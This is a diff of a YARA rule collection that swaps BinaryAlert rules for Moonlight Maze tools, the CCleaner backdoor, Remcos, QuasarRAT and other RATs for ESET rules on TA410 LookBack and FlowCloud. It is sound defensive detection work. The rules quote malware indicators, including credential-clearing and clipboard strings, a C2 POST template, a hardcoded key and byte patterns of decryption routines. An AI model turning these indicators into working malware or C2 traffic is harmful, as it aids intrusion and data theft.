-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_moonlightmaze_IRIX_exploit_GEN.yara#L3-L20"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "9d55d780c84f2aa4e64c19842b2055ef4bf7c8844ebe622c3942445b06ab8344"
+		description = "Matches the modified function in LookBack libcurl loader."
+		author = "ESET Research"
+		id = "d0aac4f6-f72f-5adf-8f8f-9251bad70131"
+		date = "2021-10-12"
+		modified = "2022-04-27"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/ta410/ta410.yar#L256-L309"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "98390dd664227ad747e5572771d12e7ebd2475d26db27e85508347ac6f44f3bf"
 		score = 75
 		quality = 80
 		tags = "FILE"
-		md5_1 = "008ea82f31f585622353bd47fa1d84be"
-		md5_2 = "a26bad2b79075f454c83203fa00ed50c"
-		md5_3 = "f67fc6e90f05ba13f207c7fdaa8c2cab"
-		md5_4 = "5937db3896cdd8b0beb3df44e509e136"
-		md5_5 = "f4ed5170dcea7e5ba62537d84392b280"
+		license = "BSD 2-Clause"
+		version = "1"
 
 	strings:
-		$a1 = "stack = 0x%x, targ_addr = 0x%x"
-		$a2 = "execl failed"
+		$chunk_1 = {
+            FF 15 ?? ?? ?? ??      //call dword ptr [0x100530e0]
+            6A 40          //push 0x40
+            68 00 10 00 00     //push 0x1000
+            68 F0 04 00 00     //push 0x4f0
+            6A 00          //push 0
+            FF 15 ?? ?? ?? ??      //call dword ptr [0x100530d4]
+            8B E8          //mov ebp, eax
+            B9 3C 01 00 00     //mov ecx, 0x13c
+            BE 60 30 06 10     //mov esi, 0x10063060
+            8B FD          //mov edi, ebp
+            68 F0 04 00 00     //push 0x4f0
+            F3 A5          //rep movsd dword ptr es:[edi], dword ptr [esi]
+            55             //push ebp
+            E8 ?? ?? ?? ??     //call 0x100258d0
+            8B 0D ?? ?? ?? ??      //mov ecx, dword ptr [0x100530e4]
+            A1 ?? ?? ?? ??     //mov eax, dword ptr [0x100530c8]
+            68 6C 02 00 00     //push 0x26c
+            89 4C 24 ??        //mov dword ptr [esp + 0x1c], ecx
+            89 44 24 ??        //mov dword ptr [esp + 0x20], eax
+            FF 15 ?? ?? ?? ??      //call dword ptr [0x10063038]
+            8B D8          //mov ebx, eax
+            B9 9B 00 00 00     //mov ecx, 0x9b
+            BE 50 35 06 10     //mov esi, 0x10063550
+            8B FB          //mov edi, ebx
+            68 6C 02 00 00      //push 0x26c
+            F3 A5          //rep movsd dword ptr es:[edi], dword ptr [esi]
+            53             //push ebx
+            E8 ?? ?? ?? ??     //call 0x100258d0
+            83 C4 14           //add esp, 0x14
+            8D 44 24 ??        //lea eax, [esp + 0x10]
+            50             //push eax
+            53             //push ebx
+            8D 44 24 ??        //lea eax, [esp + 0x3c]
+            50             //push eax
+            A1 ?? ?? ?? ??     //mov eax, dword ptr [0x10063058]
+            FF 74 24 ??        //push dword ptr [esp + 0x28]
+            03 C5          //add eax, ebp
+            FF D0          //call eax
+        }
 
 	condition:
-		( uint32(0)==0x464c457f) and ( all of them )
+		uint16(0)==0x5a4d and all of them
 }
 import "pe"
 
-rule BINARYALERT_Malware_Windows_Moonlightmaze_Wipe : FILE
+rule ESET_Apt_Windows_TA410_Lookback_Strings : FILE
 {
 	meta:
-		description = "Rule to detect log cleaner based on wipe.c"
-		author = "Kaspersky Lab"
-		id = "35060c3d-b805-54a6-a241-eb6e99168fa8"
-		date = "2017-08-11"
-		modified = "2017-08-11"
-		reference = "http://www.afn.org/~afn28925/wipe.c"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_moonlightmaze_wipe.yara#L3-L18"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		hash = "e69efc504934551c6a77b525d5343241"
-		logic_hash = "0241d1ca9f5a4d066f7ed2e80bc18ebae3723c6a2364422e31909e8f0e576675"
+		description = "Matches multiple strings and export names in TA410 LookBack."
+		author = "ESET Research"
+		id = "b693c468-5abf-579d-bc03-67f67339feb9"
+		date = "2021-10-12"
+		modified = "2022-04-27"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/ta410/ta410.yar#L311-L331"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "d17ed604e3691c20fe489f95197b7b802ec951ed13d538fa6643449485b326b2"
 		score = 75
 		quality = 80
 		tags = "FILE"
+		license = "BSD 2-Clause"
+		version = "1"
 
 	strings:
-		$a1 = "ERROR: Unlinking tmp WTMP file."
-		$a2 = "USAGE: wipe [ u|w|l|a ] ...options..."
-		$a3 = "Erase acct entries on tty :   wipe a [username] [tty]"
-		$a4 = "Alter lastlog entry       :   wipe l [username] [tty] [time] [host]"
+		$s1 = "SodomMainFree" ascii wide
+		$s2 = "SodomMainInit" ascii wide
+		$s3 = "SodomNormal.bin" ascii wide
+		$s4 = "SodomHttp.bin" ascii wide
+		$s5 = "sodom.ini" ascii wide
+		$s6 = "SodomMainProc" ascii wide
 
 	condition:
-		( uint32(0)==0x464c457f) and (2 of them )
+		uint16(0)==0x5a4d and (2 of them or pe.exports("SodomBodyLoad") or pe.exports("SodomBodyLoadTest"))
 }
-rule BINARYALERT_Ccleaner_Backdoor
+import "pe"
+
+rule ESET_Apt_Windows_TA410_Lookback_HTTP : FILE
 {
 	meta:
-		description = "Ccleaner 5.33 backdoor with a possible APT17/Group72 connection."
-		author = "@fusionrace"
-		id = "769e4fcb-9638-5a5b-8b73-a1cda3bc286a"
-		date = "2017-12-14"
-		modified = "2017-12-14"
-		reference = "http://blog.talosintelligence.com/2017/09/ccleaner-c2-concern.html"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_ccleaner_backdoor.yara#L1-L15"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "ce3fc54d58e337ab17e6f1ba7745c593210483c02ed3969059a8fe6682d87218"
+		description = "Matches LookBack's hardcoded HTTP request"
+		author = "ESET Research"
+		id = "ca4ee437-5ac9-5715-90fb-e0e74a817bb5"
+		date = "2021-10-12"
+		modified = "2022-04-27"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/ta410/ta410.yar#L333-L349"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "0e777f56136cd11d62abdf4f120410d5fe9cd522cfc06afbf085414a96279bf7"
 		score = 75
 		quality = 80
-		tags = ""
-		md5_1 = "d488e4b61c233293bec2ee09553d3a2f"
-		md5_2 = "b95911a69e49544f9ecc427478eb952f"
-		md5_3 = "063b58879c8197b06d619c3be90506ec"
-		md5_4 = "7690e414e130acf7c962774c05283142"
+		tags = "FILE"
+		license = "BSD 2-Clause"
+		version = "1"
 
 	strings:
-		$s1 = "s:\\workspace\\ccleaner\\branches\\v5.33" fullword ascii wide
+		$s1 = "POST http://%s/status.php?r=%d%d HTTP/1.1\x0d\nAccept: text/html, application/xhtml+xml, */*\x0d\nAccept-Language: en-us\x0d\nUser-Agent: %s\x0d\nContent-Type: application/x-www-form-urlencoded\x0d\nAccept-Encoding: gzip, deflate\x0d\nHost: %s\x0d\nContent-Length: %d\x0d\nConnection: Keep-Alive\x0d\nCache-Control: no-cache\x0d\n\x0d\n" ascii wide
+		$s2 = "id=1&op=report&status="
 
 	condition:
-		$s1
+		uint16(0)==0x5a4d and all of them
 }
-rule BINARYALERT_Malware_Windows_Remcos_Rat
+import "pe"
+
+rule ESET_Apt_Windows_TA410_Lookback_Magic : FILE
 {
 	meta:
-		description = "No description has been set in the source file - BinaryAlert"
-		author = "@mimeframe"
-		id = "420c135f-3150-5cb9-9c1c-105cd260d713"
-		date = "2017-08-11"
-		modified = "2017-08-11"
-		reference = "https://breaking-security.net/remcos/remcos-changelog/"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_remcos_rat.yara#L1-L20"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		hash = "c8dafe143fe1d81ae6a3c0cd4724b272"
-		logic_hash = "ec1ec69f628111235bafad8177482256ed571c064a81f01b6ec2643dccc926ad"
+		description = "Matches message header creation in LookBack."
+		author = "ESET Research"
+		id = "5a40a307-772b-5600-9e58-f4bc6dfe6711"
+		date = "2021-10-12"
+		modified = "2022-04-27"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/ta410/ta410.yar#L351-L377"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "442a08a77fd2db03e507c0d5a32b17ab4e5936a209f7af23ef3c33a4b9f3d0d5"
 		score = 75
 		quality = 80
-		tags = ""
+		tags = "FILE"
+		license = "BSD 2-Clause"
+		version = "1"
 
 	strings:
-		$a1 = "[Following text has been pasted from clipboard:]" wide ascii
-		$a2 = "[Chrome StoredLogins found, cleared!]" wide ascii
-		$a3 = "[Firefox StoredLogins cleared!]" wide ascii
-		$b1 = "getclipboard" wide ascii
-		$b2 = "stopmiccapture" wide ascii
-		$b3 = "downloadfromurltofile" wide ascii
-		$b4 = "getcamsingleframe" wide ascii
-		$c1 = "Breaking-Security.Net" wide ascii
-		$c2 = "REMCOS v" wide ascii
+		$s1 = {
+            C7 03 C2 2E AB 48           //mov dword ptr [ebx], 0x48ab2ec2
+            ( A1 | 8B 15 ) ?? ?? ?? ??      //mov (eax | edx), x
+            [0-1]               //push ebp
+            89 ?3 04            //mov dword ptr [ebc + 4], reg
+            8B 4? 24 ??             //mov reg, dword ptr [esp + X]
+            89 4? 08            //mov dword ptr [ebx + 8], ??
+            89 ?? 0C            //mov dword ptr [ebx + 0xc], ??
+            8B 4? 24 ??             //mov reg, dword ptr [esp + X]
+            [1-2]               //push 1 or 2 args
+            E8 ?? ?? ?? ??          //call
+        }
 
 	condition:
-		any of ($a*) or 3 of ($b*) or all of ($c*)
+		uint16(0)==0x5a4d and all of them
 }
-rule BINARYALERT_Malware_Windows_Apt_Whitebear_Binary_Loader_3
+import "pe"
+
+rule ESET_Apt_Windows_TA410_Flowcloud_Loader_Strings : FILE
 {
 	meta:
-		description = "The WhiteBear loader contains a set of messaging and injection components that support continued presence on victim hosts"
-		author = "@fusionrace"
-		id = "bdcc0c30-3aa7-5c92-8205-9b360d10ac59"
-		date = "2017-09-12"
-		modified = "2017-09-12"
-		reference = "https://securelist.com/introducing-whitebear/81638/"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_apt_whitebear_binary_loader_3.yara#L1-L16"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		hash = "b099b82acb860d9a9a571515024b35f0"
-		logic_hash = "955aad2d72407baa7fb71e04b51557649a6f91633f5bdb1a8792e328a1587d23"
+		description = "Matches various strings found in TA410 FlowCloud first stage."
+		author = "ESET Research"
+		id = "a3fb894f-8e26-5cbd-a1f2-8a9ab1db0901"
+		date = "2021-10-12"
+		modified = "2022-04-27"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/ta410/ta410.yar#L379-L415"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "3c90723e009ffe2603910566ac52a324256676ee3ff128d94427681010e10e8b"
 		score = 75
-		quality = 80
-		tags = ""
+		quality = 78
+		tags = "FILE"
+		license = "BSD 2-Clause"
+		version = "1"
 
 	strings:
-		$c1 = "{531511FA-190D-5D85-8A4A-279F2F592CC7}" wide ascii
-		$c2 = "IsLoaderAlreadyWork" wide ascii
-		$c3 = "\\\\.\\pipe\\Winsock2\\CatalogChangeListener-%03x%01x-%01x" wide ascii
-		$c4 = "\\\\.\\pipe\\Winsock2\\CatalogChangeListener-%02x%02x-%01x" wide ascii
+		$key = "y983nfdicu3j2dcn09wur9*^&initialize(y4r3inf;'fdskaf'SKF"
+		$s2 = "startModule" fullword
+		$s4 = "auto_start_module" wide
+		$s5 = "load_main_module_after_install" wide
+		$s6 = "terminate_if_fail" wide
+		$s7 = "clear_run_mru" wide
+		$s8 = "install_to_vista" wide
+		$s9 = "load_ext_module" wide
+		$s10 = "sll_only" wide
+		$s11 = "fail_if_already_installed" wide
+		$s12 = "clear_hardware_info" wide
+		$s13 = "av_check" wide fullword
+		$s14 = "check_rs" wide
+		$s15 = "check_360" wide
+		$s16 = "responsor.dat" wide ascii
+		$s17 = "auto_start_after_install_check_anti" wide fullword
+		$s18 = "auto_start_after_install" wide fullword
+		$s19 = "extern_config.dat" wide fullword
+		$s20 = "is_hhw" wide fullword
+		$s21 = "SYSTEM\\Setup\\PrintResponsor" wide
+		$event = "Global\\Event_{201a283f-e52b-450e-bf44-7dc436037e56}" wide ascii
+		$s23 = "invalid encrypto hdr while decrypting"
 
 	condition:
-		all of ($c*)
+		uint16(0)==0x5a4d and ($key or $event or 5 of ($s*))
 }
-rule BINARYALERT_Malware_Windows_Apt_Red_Leaves_Generic
+import "pe"
+
+rule ESET_Apt_Windows_TA410_Flowcloud_Header_Decryption : FILE
 {
 	meta:
-		description = "Red Leaves malware, related to APT10"
-		author = "David Cannings"
-		id = "e0067b05-eb4a-52ec-8f35-9336a631f03b"
-		date = "2017-09-12"
-		modified = "2017-09-12"
-		reference = "https://github.com/nccgroup/Cyber-Defence/blob/master/Technical%20Notes/Red%20Leaves/Source/Red%20Leaves%20technical%20note%20v1.0.md"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_apt_red_leaves_generic.yara#L1-L27"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		hash = "81df89d6fa0b26cadd4e50ef5350f341"
-		logic_hash = "be03bba9d01e6584b5849514656fd7de866c478f343c0bc618d7dbeda1771696"
+		description = "Matches the function used to decrypt resources headers in TA410 FlowCloud"
+		author = "ESET Research"
+		id = "403c1845-bc25-5a49-8553-8a0be18d6970"
+		date = "2024-01-01"
+		modified = "2022-04-27"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/ta410/ta410.yar#L417-L496"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "74b6c42bf2de159b2b0a15637e6bd94069367e3000c887714d6e3b50aa3646be"
 		score = 75
 		quality = 80
-		tags = ""
+		tags = "FILE"
+		license = "BSD 2-Clause"
 
 	strings:
-		$a1 = "Feb 04 2015"
-		$a2 = "I can not start %s"
-		$a3 = "dwConnectPort" fullword
-		$a4 = "dwRemoteLanPort" fullword
-		$a5 = "strRemoteLanAddress" fullword
-		$a6 = "strLocalConnectIp" fullword
-		$a7 = "\\\\.\\pipe\\NamePipe_MoreWindows" wide
-		$a8 = "RedLeavesCMDSimulatorMutex" wide
-		$a9 = "(NT %d.%d Build %d)" wide
-		$a10 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)" wide
-		$a11 = "red_autumnal_leaves_dllmain.dll" wide ascii
-		$a12 = "__data" wide
-		$a13 = "__serial" wide
-		$a14 = "__upt" wide
-		$a15 = "__msgid" wide
+		$chunk_1 = {
+            8B 1E
+            8B CF
+            D3 CB
+            8D 0C 28
+            83 C7 06
+            30 18
+            8B 1E
+            D3 CB
+            8D 0C 02
+            30 58 ??
+            8B 1E
+            D3 CB
+            8B 4C 24 ??
+            03 C8
+            30 58 ??
+            8B 1E
+            D3 CB
+            8B 4C 24 ??
+            03 C8
+            30 58 ??
+            8B 1E
+            D3 CB
+            8B 4C 24 ??
+            03 C8
+            83 C0 06
+            30 58 ??
+            8B 1E
+            D3 CB
+            30 58 ??
+            83 FF 10
+            72 ??
+        }
 
 	condition:
-		7 of ($a*)
+		uint16(0)==0x5a4d and all of them
 }
-rule BINARYALERT_Malware_Windows_Winnti_Loadperf_Dll_Loader
+import "pe"
+
+rule ESET_Apt_Windows_TA410_Flowcloud_Dll_Hijacking_Strings : FILE
 {
 	meta:
-		description = "Winnti APT group; gzwrite64 imported from loadoerf.ini"
-		author = "@mimeframe"
-		id = "41444dd5-41b9-550c-9124-bc7f41326baa"
-		date = "2017-08-11"
-		modified = "2017-08-11"
-		reference = "http://blog.trendmicro.com/trendlabs-security-intelligence/winnti-abuses-github/"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_winnti_loadperf_dll_loader.yara#L1-L13"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		hash = "879ce99e253e598a3c156258a9e81457"
-		logic_hash = "b1035174edfff2e142026f3482fc53407af59f5215a6030c0d2a85501152c3db"
+		description = "Matches filenames inside TA410 FlowCloud malicious DLL."
+		author = "ESET Research"
+		id = "6636d4d0-0a7f-5971-a7f4-58803042d874"
+		date = "2021-10-12"
+		modified = "2022-04-27"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/ta410/ta410.yar#L498-L517"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "e8082d4216364a12ba395f772b5caed94b3068d26a2b3a97ef711d61a82f65b3"
 		score = 75
 		quality = 80
-		tags = ""
+		tags = "FILE"
+		license = "BSD 2-Clause"
+		version = "1"
 
 	strings:
-		$s1 = "loadoerf.ini" fullword ascii wide
-		$s2 = "gzwrite64" fullword ascii wide
+		$dat1 = "emedres.dat" wide
+		$dat2 = "vviewres.dat" wide
+		$dat3 = "setlangloc.dat" wide
+		$dll1 = "emedres.dll" wide
+		$dll2 = "vviewres.dll" wide
+		$dll3 = "setlangloc.dll" wide
 
 	condition:
-		all of ($s*)
+		uint16(0)==0x5a4d and ( all of ($dat*) or all of ($dll*))
 }
-rule BINARYALERT_Malware_Windows_Xrat_Quasarrat
-{
-	meta:
-		description = "xRAT is a derivative of QuasarRAT; this catches both RATs."
-		author = "@mimeframe"
-		id = "f4db2402-3653-5525-a137-de2de29cef28"
-		date = "2017-09-12"
-		modified = "2017-09-12"
-		reference = "https://github.com/quasar/QuasarRAT"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_xrat_quasarrat.yara#L1-L31"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "92533157a62ccae5d1bdc9d0bb7511817422c6b5d75d013a15173cd1121d099e"
-		score = 75
-		quality = 30
-		tags = ""
-
-	strings:
-		$a1 = ">> New Session created" wide ascii
-		$a2 = ">> Session unexpectedly closed" wide ascii
-		$a3 = ">> Session closed" wide ascii
-		$a4 = "session unexpectedly closed" wide ascii
-		$a5 = "cmd" fullword wide ascii
-		$a6 = "/K" fullword wide ascii
-		$b1 = "echo DONT CLOSE THIS WINDOW!" wide ascii
-		$b2 = "ping -n 20 localhost > nul" wide ascii
-		$b3 = "Downloading file..." wide ascii
-		$b4 = "Visited Website" wide ascii
-		$b5 = "Adding Autostart Item failed!" wide ascii
-		$b6 = ":Zone.Identifier" wide ascii
-		$c1 = "GetDrives I/O error" wide ascii
-		$c2 = "/r /t 0" wide ascii
-		$c3 = "desktop.ini" wide ascii
-		$c4 = "WAN IP Address" wide ascii
-		$c5 = "User refused the elevation request." wide ascii
-		$c6 = "Process already elevated." wide ascii
+import "pe"
 
-	condition:
-		5 of ($a*) or 5 of ($b*) or 5 of ($c*)
-}
-rule BINARYALERT_Malware_Windows_Moonlightmaze_Cle_Tool
+rule ESET_Apt_Windows_TA410_Flowcloud_Malicious_Dll_Antianalysis : FILE
 {
 	meta:
-		description = "Rule to detect Moonlight Maze 'cle' log cleaning tool"
-		author = "Kaspersky Lab"
-		id = "d875a3cf-cad1-509f-bb9f-27f0a3a9b79d"
-		date = "2017-08-11"
-		modified = "2017-08-11"
-		reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_moonlightmaze_cle_tool.yara#L1-L17"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		hash = "647d7b711f7b4434145ea30d0ef207b0"
-		logic_hash = "8f75df1240b9e5e905492106265a7e1342db4140d715529933af4ba5c8ec6331"
+		description = "Matches anti-analysis techniques used in TA410 FlowCloud hijacking DLL."
+		author = "ESET Research"
+		id = "b38a1d4d-5053-5a6d-be8c-c00261936417"
+		date = "2021-10-12"
+		modified = "2022-04-27"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/ta410/ta410.yar#L519-L552"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "8f14352118d32a43c17f70bd753acc48bd314965f10ab97818e8a434bbda96d9"
 		score = 75
 		quality = 80
-		tags = ""
+		tags = "FILE"
+		license = "BSD 2-Clause"
+		version = "1"
 
 	strings:
-		$a1 = "./a filename template_file" ascii wide
-		$a2 = "May be %s is empty?" ascii wide
-		$a3 = "template string = |%s|" ascii wide
-		$a4 = "No blocks !!!"
-		$a5 = "No data in this block !!!!!!" ascii wide
-		$a6 = "No good line"
+		$chunk_1 = {
+            33 C0
+            E8 ?? ?? ?? ??
+            83 C0 10
+            3D 00 00 00 80
+            7D 01
+            EB FF
+            E0 50
+            C3
+        }
 
 	condition:
-		3 of ($a*)
+		uint16(0)==0x5a4d and all of them
 }
-rule BINARYALERT_Malware_Windows_Moonlightmaze_Custom_Sniffer
+import "pe"
+
+rule ESET_Apt_Windows_TA410_Flowcloud_Pdb : FILE
 {
 	meta:
-		description = "Rule to detect Moonlight Maze sniffer tools"
-		author = "Kaspersky Lab"
-		id = "a9f005e0-8d73-58ff-b010-d3ce08ffdb64"
-		date = "2017-08-11"
-		modified = "2017-08-11"
-		reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_moonlightmaze_custom_sniffer.yara#L1-L20"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "466be027f567fe0afc88c82d94e4e0171b4b7d8f38d27a4c4a18cec4ca2b8b2f"
+		description = "Matches PDB paths found in TA410 FlowCloud."
+		author = "ESET Research"
+		id = "8bf25768-941e-55c6-bd21-f6b614c9d75d"
+		date = "2021-10-12"
+		modified = "2022-04-27"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/ta410/ta410.yar#L554-L567"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "ff95ab0f8e68efe612a6e0d70cebd8bf815d6b5e3877c098ac0761382dc310d6"
 		score = 75
 		quality = 80
-		tags = ""
-		md5_1 = "7b86f40e861705d59f5206c482e1f2a5"
-		md5_2 = "927426b558888ad680829bd34b0ad0e7"
-
-	strings:
-		$a1 = "/var/tmp/gogo" fullword
-		$a2 = "myfilename= |%s|" fullword
-		$a3 = "mypid,mygid=" fullword
-		$a4 = "mypid=|%d| mygid=|%d|" fullword
-		$a5 = "/var/tmp/task" fullword
-		$a6 = "mydevname= |%s|" fullword
+		tags = "FILE"
+		license = "BSD 2-Clause"
+		version = "1"
 
 	condition:
-		any of ($a*)
+		uint16(0)==0x5a4d and (pe.pdb_path contains "\\FlowCloud\\trunk\\" or pe.pdb_path contains "\\flowcloud\\trunk\\")
 }
-rule BINARYALERT_Malware_Windows_Moonlightmaze_Loki
+import "pe"
+
+rule ESET_Apt_Windows_TA410_Flowcloud_Shellcode_Decryption : FILE
 {
 	meta:
-		description = "Rule to detect Moonlight Maze Loki samples by custom attacker-authored strings"
-		author = "Kaspersky Lab"
-		id = "06eeb6a4-540f-51eb-86f9-4ab49543f645"
-		date = "2017-08-11"
-		modified = "2017-08-11"
-		reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_moonlightmaze_loki.yara#L1-L27"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "9a403695ded6ff3626820ba0d4abde7ccd6f3fa6bfd8aa4ceaf0cc009d34c97f"
+		description = "Matches the decryption function used in TA410 FlowCloud self-decrypting DLL"
+		author = "ESET Research"
+		id = "8af7b2fa-be40-5ec8-8413-1c982a463a9a"
+		date = "2021-10-12"
+		modified = "2022-04-27"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/ta410/ta410.yar#L569-L615"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "939ffe6a41c957aa5d6c012484b2deab49a5e71a4b7e203a41c180f872803921"
 		score = 75
 		quality = 80
-		tags = ""
-		md5_1 = "14cce7e641d308c3a177a8abb5457019"
-		md5_2 = "a3164d2bbc45fb1eef5fde7eb8b245ea"
-		md5_3 = "dabee9a7ea0ddaf900ef1e3e166ffe8a"
-		md5_4 = "1980958afffb6a9d5a6c73fc1e2795c2"
-		md5_5 = "e59f92aadb6505f29a9f368ab803082e"
+		tags = "FILE"
+		license = "BSD 2-Clause"
+		version = "1"
 
 	strings:
-		$a1 = "Write file Ok..." ascii wide
-		$a2 = "ERROR: Can not open socket...." ascii wide
-		$a3 = "Error in parametrs:" ascii wide
-		$a4 = "Usage: @<get/put> <IP> <PORT> <file>" ascii wide
-		$a5 = "ERROR: Not connect..." ascii wide
-		$a6 = "Connect successful...." ascii wide
-		$a7 = "clnt <%d> rqstd n ll kll" ascii wide
-		$a8 = "clnt <%d> rqstd swap" ascii wide
-		$a9 = "cld nt sgnl prcs grp" ascii wide
-		$a10 = "cld nt sgnl prnt" ascii wide
-		$a11 = "ork error" ascii fullword
+		$chunk_1 = {
+            33 D2
+            8B 45 ??
+            BB 6B 04 00 00
+            F7 F3
+            81 C2 A8 01 00 00
+            81 E2 FF 00 00 00
+            8B 7D ??
+            33 C9
+            EB ??
+            30 14 39
+            00 14 39
+            41
+            3B 4D ??
+            72 ??
+        }
 
 	condition:
-		2 of ($a*)
+		uint16(0)==0x5a4d and all of them
 }
-rule BINARYALERT_Malware_Windows_T3Ntman_Crunchrat
+import "pe"
+
+rule ESET_Apt_Windows_TA410_Flowcloud_Fcclient_Strings : FILE
 {
 	meta:
-		description = "HTTPS-based Remote Administration Tool (RAT)"
-		author = "@mimeframe"
-		id = "c5b0d183-8822-505a-a1ff-7d6f75a3f174"
-		date = "2017-09-12"
-		modified = "2017-09-12"
-		reference = "https://github.com/t3ntman/CrunchRAT"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_t3ntman_crunchrat.yara#L1-L19"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "b5216b2b30d22f3d3848e1fb6e4245c558366fb8cd35b70f10fa4e605e211204"
+		description = "Strings found in fcClient/rescure.dat module."
+		author = "ESET Research"
+		id = "876bae0b-2612-559b-9ead-b633a3789663"
+		date = "2021-10-12"
+		modified = "2022-04-27"
+		reference = "https://github.com/eset/malware-ioc/"
